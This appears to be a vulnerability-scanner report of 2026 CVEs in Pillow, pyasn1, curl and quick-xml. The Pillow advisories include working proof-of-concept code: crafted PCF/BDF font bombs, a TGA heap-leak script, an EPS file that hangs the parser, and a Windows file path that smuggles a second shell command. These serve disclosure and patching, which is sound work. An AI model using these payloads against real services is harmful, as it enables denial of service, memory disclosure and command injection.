                (GLYPH_W, GLYPH_H),
                (0, -GLYPH_H, GLYPH_W, 0),
                (0, 0,        GLYPH_W, GLYPH_H),
                im,
            )

# Confirm bomb check WOULD catch the combined size
combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
try:
    Image._decompression_bomb_check(combined_size)
    print("[FAIL] bomb check did not raise — unexpected")
except Image.DecompressionBombError as e:
    print(f"[OK] bomb check WOULD block {combined_size}: {e}")

# Vulnerable path: compile() has NO bomb check
font = MockFont()
font.compile()   # → Image.new("1", (800, 224000)) — no error raised

px = font.bitmap.size[0] * font.bitmap.size[1]
threshold = Image.MAX_IMAGE_PIXELS * 2
print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError threshold)")
print(f"         No DecompressionBombError raised at any point.")

Expected output:

[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
of 178956970 pixels, could be decompression bomb DOS attack.
[BYPASS] compile() succeeded: bitmap=(800, 224000)
         pixels=179,200,000  (1.001× DecompressionBombError threshold)
         No DecompressionBombError raised at any point.

Verified live on Pillow 12.2.0 — compile() succeeds with no exception.

Real-world trigger using BDF font file:

from PIL import BdfFontFile
import io

# Load a crafted BDF font with 256 glyphs each claiming height=65535
# (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)
# compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold
font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
font.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check

Attack scenarios:

Scenario Effect
Web font preview (BdfFontFile(upload).to_imagefont()) DoS with crafted .bdf upload
Server-side font renderer that loads PCF → to_imagefont() OOM crash
Font pipeline: load → render text One malicious font file kills the process

Impact

  • Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × max_glyph_height with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.
  • Confidentiality: None
  • Integrity: None

Affected call paths:

  • BdfFontFile.BdfFontFile(fp).to_imagefont()FontFile.compile()
  • BdfFontFile.BdfFontFile(fp).save(filename)FontFile.compile()
  • PcfFontFile.PcfFontFile(fp).to_imagefont()FontFile.compile()
  • PcfFontFile.PcfFontFile(fp).save(filename)FontFile.compile()

Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

high 7.5: CVE--2026--54059 Memory Allocation with Excessive Size Value

Affected range<12.3.0
Fixed version12.3.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.410%
EPSS Percentile34th percentile
Description

Description

PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:

xsize = right - left          (max: 65535 − 0 = 65535)
ysize = ascent + descent      (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227):

for i in range(nbitmaps):
    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled
    b, e = offsets[i : i + 2]
    bitmaps.append(
        Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
        # ↑ NO _decompression_bomb_check()!
    )

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

  • Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently
  • Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")

from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold

# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

# PCF binary constants
PCF_MAGIC    = 0x70636601
PCF_PROPS    = 1 << 0
PCF_METRICS  = 1 << 2
PCF_BITMAPS  = 1 << 3
PCF_ENCODINGS= 1 << 5

def build_bomb_pcf(xsize, ysize):
    # Properties: empty
    props = struct.pack("<III", 0, 0, 0)

    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
    metrics = struct.pack("<II", 0, 1)
    metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)

    # Bitmaps: 1 glyph, empty data (transient attack)
    bitmaps = struct.pack("<II", 0, 1)
    bitmaps += struct.pack("<I", 0)              # offset[0] = 0
    bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0

    # Encodings: char 0x41 ('A') → glyph 0
    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
    encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
    encodings += struct.pack("<" + "H"*128, *enc_offsets)

    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
    hdr_size = 4 + 4 + len(secs) * 16
    out = struct.pack("<II", PCF_MAGIC, len(secs))
    offset = hdr_size
    for stype, sdata in secs:
        out += struct.pack("<IIII", stype, 0, len(sdata), offset)
        offset += len(sdata)
    for _, sdata in secs:
        out += sdata
    return out

pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size  : {len(pcf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

tracemalloc.start()
try:
    font = PcfFontFile(io.BytesIO(pcf))
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
except Exception as e:
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
    print(f"    Heap peak: {peak/1024**2:.2f} MB")
    print(f"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] PCF file size  : 148 bytes
[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels
[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED (transient): ValueError after allocation
    C-heap allocation of ~23 MB occurred before exception

Amplification table:

PCF file Glyph dims C-heap (mode '1') Bomb check
148 bytes 14000 × 14000 23 MB (transient) Bypassed
148 bytes 65535 × 131070 1.07 GB (transient) Bypassed
~512 MB 65535 × 131070 1.07 GB (persistent) Bypassed

Impact

  • Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
  • Confidentiality: None
  • Integrity: None
  • Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected
  • PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path
  • Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07

medium 6.5: CVE--2026--59198 Out-of-bounds Read

Affected range>=5.2.0
<12.3.0
Fixed version12.3.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L
EPSS Score0.325%
EPSS Percentile25th percentile
Description

Summary

Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1"
image. Adjacent process heap bytes can be copied into the generated TGA file.

The bug is reachable through the public save API:

im.save(out, format="TGA", compression="tga_rle")

Older affected Pillow versions use the equivalent public option rle=True.

For mode "1", Pillow allocates a packed row buffer of ceil(width / 8)
bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.

The maximum valid TGA width is 65535. At that width:

allocated packed row buffer: 8192 bytes
encoder byte-offset walk:     65535 bytes
maximum OOB window per row:   57343 bytes

On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized
57297 bytes from distinct out-of-bounds source offsets into one returned TGA,
covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most 128 bytes each, not one large
memcpy().

Details

src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the
tga_rle encoder when RLE compression is requested.

src/encode.c:_setimage() allocates the row buffer using the packed-bit
formula:

state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);

For mode "1", state->bits == 1.

src/libImaging/TgaRleEncode.c then computes:

bytesPerPixel = (state->bits + 7) / 8;

This becomes 1, and the encoder uses pixel indexes as byte offsets:

static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
    buf += x * bytesPerPixel;
    return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}

The packet payload memcpy() later copies those out-of-bounds source bytes into
the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy
one representative byte:

memcpy(
    dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);

A width-2 mode "1" image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.

PoC

Minimal ASAN trigger

import io
from PIL import Image

out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage

Maximum-width heap disclosure

This PoC uses one maximum-width row. It parses the generated TGA packets and
extracts only payload bytes whose source offsets were outside the allocated
packed row. Rows are avoided because they mostly repeat the same adjacent heap window.

Run the following with a standard affected Pillow installation.

import hashlib
import io
import PIL
from PIL import Image

WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYTES

def extract_oob_payload(data):
    i = 18
    pixel = 0
    oob = bytearray()

    while pixel < WIDTH:
        descriptor = data[i]
        i += 1
        count = (descriptor & 0x7F) + 1

        if descriptor & 0x80:
            value = data[i]
            i += 1
            if pixel + count - 1 >= ROW_BYTES:
                oob.append(value)
        else:
            values = data[i : i + count]
            i += count
            oob.extend(values[max(ROW_BYTES - pixel, 0) :])

        pixel += count

    return bytes(oob)


best = b""

for _ in range(ATTEMPTS):
    out = io.BytesIO()
    Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
    oob = extract_oob_payload(out.getvalue())
    if len(oob) > len(best):
        best = oob

with open("/tmp/max_oob_bytes.bin", "wb") as fp:
    fp.write(best)

print(f"Pillow={PIL.__version__}")
print(f"packed_row_bytes={ROW_BYTES}")
print(f"maximum_oob_window={MAX_OOB_WINDOW}")
print(f"serialized_distinct_oob_offsets={len(best)}")
print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
print(f"sha256={hashlib.sha256(best).hexdigest()}")

Observed on installed Pillow 12.2.0:

Pillow=12.2.0
packed_row_bytes=8192
maximum_oob_window=57343
serialized_distinct_oob_offsets=57297
nonzero_oob_bytes=54407
coverage=99.92%

Impact

This is a heap out-of-bounds read and potential information disclosure.

A maximum-width single-row image can cause nearly the full
57343-byte adjacent heap window to be incorporated into one output file.

medium 5.3: CVE--2026--59203 Loop with Unreachable Exit Condition ('Infinite Loop')

Affected range>=12.0.0
<12.3.0
Fixed version12.3.0
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.655%
EPSS Percentile49th percentile
Description

Summary

Pillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.

The issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.

Confirmed affected versions: Pillow 12.0.0 through 12.2.0.

Details

The issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.

Relevant code:

elif bytes_mv[:14] == b"%%BeginBinary:":
    bytecount = int(byte_arr[14:bytes_read])
    self.fp.seek(bytecount, os.SEEK_CUR)

There is no validation that bytecount is non-negative.

If an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.

In local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.

PoC

Save the following content as pillow_eps_beginbinary_dos.eps:

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 1 1
%%EndComments
% dummy comment after transition
%%BeginBinary:-18
%%EOF

Then run:

python -m pip install "Pillow==12.2.0"

python - <<'PY'
from PIL import Image
Image.open("pillow_eps_beginbinary_dos.eps")
PY

Expected behavior: Pillow should reject the malformed EPS file with a parser exception.

Actual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.

The loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:

LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94

Impact

This is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().

This can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.

Suggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR).

medium 4.5: CVE--2026--55798 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Affected range<12.3.0
Fixed version12.3.0
CVSS Score4.5
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
EPSS Score0.179%
EPSS Percentile7th percentile
Description

1. Summary

WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a
file path into an f-string without escaping. The result is passed to
subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most
importantly a double-quote (") that breaks out of the wrapping, followed by & — allow
injection of arbitrary cmd.exe commands.

The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter.
The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this
protection, despite shlex.quote being already imported on line 21 of ImageShow.py.


2. Vulnerable Code

File: src/PIL/ImageShow.py, lines 133–150

class WindowsViewer(Viewer):
    format = "PNG"
    options = {"compress_level": 1, "save_all": True}

    def get_command(self, file: str, **options: Any) -> str:
        return (
            f'start "Pillow" /WAIT "{file}" '    # ← f-string, no escaping
            "&& ping -n 4 127.0.0.1 >NUL "
            f'&& del /f "{file}"'                # ← same path, unescaped again
        )

    def show_file(self, path: str, **options: Any) -> int:
        if not os.path.exists(path):
            raise FileNotFoundError
        subprocess.Popen(
            self.get_command(path, **options),
            shell=True,                          # ← shell=True
            creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
        )  # nosec                               # ← Bandit warning suppressed manually
        return 1

Contrast with macOS — SAFE (line 164–168):

class MacViewer(Viewer):
    def get_command(self, file: str, **options: Any) -> str:
        command = "open -a Preview.app"
        command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
        return command                           # ← shlex.quote() applied

Cross-platform summary:

Platform Class shlex.quote()? shell=True? Safe?
macOS MacViewer Yes (line 168) No (list args) ✅ Yes
Linux UnixViewer Yes (line 207) No (list args) ✅ Yes
Windows WindowsViewer No (line 134–137) Yes (line 148) ❌ No

shlex.quote is imported on line 21. Its omission from the Windows path is a clear
oversight, not a deliberate design choice.


3. Proof of Concept

A full working PoC is at poc_pillow_injection.py. Key parts:

Part A — Injection string construction (static, no execution):

from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
# Output:
# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
# ┌─ start "Pillow" /WAIT "C:\Temp\evil"   → fails (file not found)
# ├─ & echo PWNED                           → INJECTED COMMAND
# └─ & echo ""  && ping ...                → continues

Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):

import os, tempfile
from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker  = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")

# Craft injection: payload writes a marker file (harmless)
payload   = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')

# Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)

# Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)

assert os.path.exists(marker)                          # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read()          # PASSES
# → CONFIRMED: arbitrary command injection via get_command()

critical: 0 high: 3 medium: 0 low: 0 pyasn1 0.6.3 (pypi)

pkg:pypi/pyasn1@0.6.3

high 7.5: CVE--2026--59886 Uncontrolled Resource Consumption

Affected range<=0.6.3
Fixed version0.6.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.335%
EPSS Percentile26th percentile
Description

Impact

The univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.

Any operation that triggers float conversion on such a decoded value — prettyPrint(), str(), comparison, arithmetic, or an explicit float() call — consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.

Affected components

  • pyasn1.type.univ.Real — float conversion (float() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())
  • Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values

The encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.

Patches

Fixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as .

Workarounds

Avoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.

high 7.5: CVE--2026--59885 Uncontrolled Resource Consumption

Affected range<=0.6.3
Fixed version0.6.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.335%
EPSS Percentile26th percentile
Description

Impact

The BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.

The arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.

Affected components

ObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.

Patches

Fixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.

Workarounds

Limit the size of untrusted ASN.1 input before decoding.

high 7.5: CVE--2026--59884 Uncontrolled Resource Consumption

Affected range<0.6.4
Fixed version0.6.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.349%
EPSS Percentile28th percentile
Description

Impact

The BER decoder (shared by the CER and DER codecs) parses long-form tags by accumulating continuation octets in a loop with no upper bound on the size of the tag ID. A crafted input can force the decoder to build an arbitrarily large integer, with CPU cost growing quadratically in input size — a ~1 MB input consumes over a minute of CPU. On Python 3.11+, the oversized tag ID can also trigger an unhandled ValueError (integer string conversion limit) while the decoder formats error messages, violating the documented PyAsn1Error contract and potentially bypassing caller error handling.

Any application decoding untrusted BER/CER/DER input is affected.

Affected components

  • pyasn1.codec.ber.decoderdecode() and StreamingDecoder
  • pyasn1.codec.cer.decoder and pyasn1.codec.der.decoder, which inherit
    the same tag parsing
  • pyasn1.type.tagTag/TagSet reprs could raise ValueError when
    rendering oversized tag IDs (reachable through decoder error paths)

The encoders and the pyasn1.codec.native codec are not affected.

Patches

Fixed in 0.6.4. Long-form tag IDs are now limited to 20 octets (140-bit tag IDs, matching the existing OID arc limit); oversized tags are rejected with PyAsn1Error. Tag ID rendering in reprs and error messages was additionally hardened against the interpreter's integer-to-string conversion limit.

Workarounds

Bound the size of untrusted input passed to decode() before calling it.

critical: 0 high: 2 medium: 10 low: 0 curl 8.14.1-2+deb13u3 (deb)

pkg:deb/debian/curl@8.14.1-2%2Bdeb13u3?os_distro=trixie&os_name=debian&os_version=13

high : CVE--2026--6276

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.295%
EPSS Percentile22nd percentile
Description

Using libcurl, when a custom Host: header is first set for an HTTP request and a second request is subsequently done using the same easy handle but without the custom Host: header set, the second request would use stale information and pass on cookies meant for the first host in the second request. Leak them.


high : CVE--2026--5773

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.618%
EPSS Percentile47th percentile
Description

libcurl might in some circumstances reuse the wrong connection for SMB(S) transfers. libcurl features a pool of recent connections so that subsequent requests can reuse an existing connection to avoid overhead. When reusing a connection a range of criteria must be met. Due to a logical error in the code, a network transfer operation that was requested by an application could wrongfully reuse an existing SMB connection to the same server that was using a different 'share' than the new subsequent transfer should. This could in unlucky situations lead to the download of the wrong file or the upload of a file to the wrong place. When this happens, the same credentials are used and the server name is the same.


medium : CVE--2026--5545

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.414%
EPSS Percentile35th percentile
Description

libcurl might in some circumstances reuse the wrong connection when asked to do an authenticated HTTP(S) request after a Negotiate-authenticated one, when both use the same host. libcurl features a pool of recent connections so that subsequent requests can reuse an existing connection to avoid overhead. When reusing a connection a range of criteria must be met. Due to a logical error in the code, a request that was issued by an application could wrongfully reuse an existing connection to the same server that was authenticated using different credentials. An application that first uses Negotiate authentication to a server with user1:password1 and then does another operation to the same server asking for any authentication method but for user2:password2 (while the previous connection is still alive) - the second request gets confused and wrongly reuses the same connection and sends the new request over that connection thinking it uses a mix of user1's and user2's credentials when it is in fact still using the connection authenticated for user1...


medium : CVE--2026--3784

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.412%
EPSS Percentile34th percentile
Description

curl would wrongly reuse an existing HTTP proxy connection doing CONNECT to a server, even if the new request uses different credentials for the HTTP proxy. The proper behavior is to create or use a separate connection.


medium : CVE--2026--1965

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.259%
EPSS Percentile17th percentile
Description

libcurl can in some circumstances reuse the wrong connection when asked to do an Negotiate-authenticated HTTP or HTTPS request. libcurl features a pool of recent connections so that subsequent requests can reuse an existing connection to avoid overhead. When reusing a connection a range of criterion must first be met. Due to a logical error in the code, a request that was issued by an application could wrongfully reuse an existing connection to the same server that was authenticated using different credentials. One underlying reason being that Negotiate sometimes authenticates connections and not requests, contrary to how HTTP is designed to work. An application that allows Negotiate authentication to a server (that responds wanting Negotiate) with user1:password1 and then does another operation to the same server also using Negotiate but with user2:password2 (while the previous connection is still alive) - the second request wrongly reused the same connection and since it then sees that the Negotiate negotiation is already made, it just sends the request over that connection thinking it uses the user2 credentials when it is in fact still using the connection authenticated for user1... The set of authentication methods to use is set with CURLOPT_HTTPAUTH. Applications can disable libcurl's reuse of connections and thus mitigate this problem, by using one of the following libcurl options to alter how connections are or are not reused: CURLOPT_FRESH_CONNECT, CURLOPT_MAXCONNECTS and CURLMOPT_MAX_HOST_CONNECTIONS (if using the curl_multi API).


medium : CVE--2026--6253

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.719%
EPSS Percentile52nd percentile
Description

curl might erroneously pass on credentials for a first proxy to a second proxy. This can happen when the following conditions are true: 1. curl is setup to use specific different proxies for different URL schemes 2. the first proxy needs credentials 3. the second proxy uses no credentials 4. while using the first proxy (using say http://), curl is asked to follow a redirect to a URL using another scheme (say https://), accessed using a second, different, proxy


medium : CVE--2026--4873

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.329%
EPSS Percentile26th percentile
Description

A vulnerability exists where a connection requiring TLS incorrectly reuses an existing unencrypted connection from the same connection pool. If an initial transfer is made in clear-text (via IMAP, SMTP, or POP3), a subsequent request to that same host bypasses the TLS requirement and instead transmit data unencrypted.


medium : CVE--2026--7168

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.471%
EPSS Percentile39th percentile
Description

Successfully using libcurl to do a transfer over a specific HTTP proxy (proxyA) with Digest authentication and then changing the proxy host to a second one (proxyB) for a second transfer, reusing the same handle, makes libcurl wrongly pass on the Proxy-Authorization: header field meant for proxyA, to proxyB.


medium : CVE--2026--6429

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.519%
EPSS Percentile42nd percentile
Description

When asked to both use a .netrc file for credentials and to follow HTTP redirects, libcurl could leak the password used for the first host to the followed-to host under certain circumstances.


medium : CVE--2026--3783

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.454%
EPSS Percentile38th percentile
Description

When an OAuth2 bearer token is used for an HTTP(S) transfer, and that transfer performs a redirect to a second URL, curl could leak that token to the second hostname under some circumstances. If the hostname that the first request is redirected to has information in the used .netrc file, with either of the machine or default keywords, curl would pass on the bearer token set for the first host also to the second one.


medium : CVE--2025--14819

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.739%
EPSS Percentile52nd percentile
Description

When doing TLS related transfers with reused easy or multi handles and altering the CURLSSLOPT_NO_PARTIALCHAIN option, libcurl could accidentally reuse a CA store cached in memory for which the partial chain option was reversed. Contrary to the user's wishes and expectations. This could make libcurl find and accept a trust chain that it otherwise would not.


medium : CVE--2025--14524

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.665%
EPSS Percentile50th percentile
Description

When an OAuth2 bearer token is used for an HTTP(S) transfer, and that transfer performs a cross-protocol redirect to a second URL that uses an IMAP, LDAP, POP3 or SMTP scheme, curl might wrongly pass on the bearer token to the new target host.


critical: 0 high: 2 medium: 0 low: 0 quick-xml 0.39.2 (cargo)

pkg:cargo/quick-xml@0.39.2

high 7.5: RUSTSEC--2026--0195

Affected range<0.41.0
Fixed version0.41.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description

NsReader resolves namespaces by calling NamespaceResolver::push for every
Start/Empty event before the event is returned to the caller. push
iterated all xmlns / xmlns:* attributes on the start tag and, for each one,
appended the prefix bytes to an internal buffer and pushed a NamespaceBinding
(32 bytes on 64-bit) to an internal Vec, with no upper bound on the number of
declarations.

Impact

A start tag with N namespace declarations drove roughly the tag's byte
size in NamespaceResolver heap, allocated inside quick-xml before the
NsReader consumer ever received the event and could inspect or reject it. A
consumer that bounds its input size therefore still cannot bound this
allocation: an M-byte start tag yields on the order of 3 × M bytes of
resolver heap the caller never sees.

On untrusted XML this lets a remote, unauthenticated attacker force large heap
allocations with a single start tag. With several NsReaders running
concurrently on independent inputs (a common server pattern), the allocations
stack and can exhaust process memory, causing the operating system to kill the
process (OOM). This was confirmed against a real-world RPKI relying party (NLnet
Labs Routinator), where concurrent RRDP validation workers parsing a crafted
snapshot.xml exceeded the memory limit and the process was OOM-killed.

Affected code paths

Consumers using NsReader (which always calls NamespaceResolver::push before
yielding Start/Empty), or calling NamespaceResolver::push directly. A plain
Reader that does not perform namespace resolution is not affected.

